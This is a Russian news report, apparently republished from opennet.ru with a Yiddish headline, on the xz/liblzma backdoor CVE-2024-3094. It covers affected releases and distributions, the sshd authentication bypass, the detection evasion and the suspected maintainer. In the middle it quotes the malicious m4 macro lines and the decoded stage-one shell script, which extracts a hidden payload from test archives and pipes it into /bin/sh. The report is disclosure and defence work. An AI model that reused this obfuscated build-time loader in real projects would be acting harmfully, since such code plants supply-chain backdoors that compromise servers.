א באַקדאָר איז דיסקאַווערד אין די xz/liblzma ביבליאָטעק וואָס אַלאַוז פּאָזיציע דורך sshd

В пакете XZ Utils, включающем библиотеку liblzma и утилиты для работы со сжатыми данными в формате «.xz», выявлен бэкдор (CVE-2024-3094), позволяющий перехватывать и модифицировать данные, обрабатываемые приложениями, связанными с библиотекой liblzma. Основной целью бэкдора является сервер OpenSSH, в некоторых дистрибутивах связанный с библиотекой libsystemd, которая, в свою очередь, использует liblzma. Связывание sshd с уязвимой библиотекой позволяет злоумышленникам получить доступ к SSH-серверу без аутентификации.

Бэкдор присутствовал в официальных выпусках 5.6.0 и 5.6.1, опубликованных 24 февраля и 9 марта, которые успели попасть в состав некоторых дистрибутивов и репозиториев, например, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide и 40-beta, openSUSE factory и tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Всем пользователям выпусков xz 5.6.0 и 5.6.1 рекомендуется срочно откатиться на версию 5.4.6.

Из сглаживающих проблему факторов можно отметить то, что версия liblzma c бэкдором не успела войти в состав стабильных выпусков крупных дистрибутивов, но затронула openSUSE Tumbleweed и Fedora 40-beta. Arch Linux и Gentoo использовали уязвимую версию zx, но не подвержены атаке, так как не применяют к openssh патч для поддержки systemd-notify, приводящий к связыванию sshd к liblzma. Бэкдор затрагивает только системы x86_64 на базе ядра Linux и Си-библиотеки Glibc.

Код активации бэкдора был спрятан в m4-макросах из файла build-to-host.m4, используемого инструментарием automake при сборке. При сборке в ходе выполнения запутанных обфусцированных операций на основе архивов (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), применяемых для тестирования корректности работы, формировался объектный файл с вредоносным кодом, который включался в состав библиотеки liblzma и изменял логику работы некоторых её функций. Активирующие бэкдор m4-макросы входили в состав tar-архивов релизов, но отсутствовали в Git-репозитории. При этом вредоносные тестовые архивы присутствовали в репозитории, т.е. внедривший бэкдор имел доступ как к репозиторию, так и к процессам формирования релизов.

При использовании liblzma в приложениях вредоносные изменения могли использоваться для перехвата или модификации данных, а также для влияния на работу sshd. В частности, вредоносный код подменял функцию RSA_public_decrypt для обхода процесса аутентификации в sshd. Бэкдор включал защиту от обнаружения и не проявлял себя при выставленных переменных окружения LANG и TERM (т.е. при запуске процесса в терминале) и не выставленных переменных окруужения LD_DEBUG и LD_PROFILE, а также активировался только при выполнении исполняемого файла /usr/sbin/sshd. В бэкдоре также имелись средства обнаружения запуска в отладочных окружениях.

В частности, в файле m4/build-to-host.m4 использовались конструкции gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev/null` … gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null’

В первой конструкции операция grep находила файл tests/files/bad-3-corrupt_lzma2.xz, при распаковке которого формировался сценарий: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir=»../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|/bin/sh ####World####

Каким образом злоумышленникам удалось получить доступ к инфраструктуре проекта xz пока до конца не выяснено. Так же пока не ясно как много пользователей и проектов были скомпрометированы в результате действия бэкдора. Предполагаемый автор бэкдора (JiaT75 — Jia Tan), разместивший в репозитории архивы с вредоносным кодом, переписывался с разработчиками Fedora и отправлял pull-запросы в Debian, связанные с переходом дистрибутивов на ветку xz 5.6.0, и не вызвал подозрений, так как участвовал в разработке xz на протяжении последних двух лет и является вторым разработчиком по числу внесённых изменений. Помимо проекта xz предполагаемый автор бэкдора также участвовал в разработке пакетов xz-java и xz-embedded. Более того, Jia Tan несколько дней назад был включён в число мэёнтейнеров проекта XZ Embedded, используемого в ядре Linux.

Вредоносное изменение было выявлено после анализа излишнего потребления CPU и ошибок, выдаваемых valgrind, при подключении через ssh к системам на базе Debian sid. Примечательно, что в релиз xz 5.6.1 были включены изменения, подготовленные предполагаемым автором бэкдора в ответ на жалобы о замедлении работы и сбоях sshd, возникшие после обновления до версии zx 5.6.0 с бэкдором. Кроме того, в прошлом году Jia Tan внёс изменения, несовместимые с режимом проверки «-fsanitize=address», что привело к его отключению при fuzzing-тестировании.

מקור: opennet.ru

לייגן אַ באַמערקונג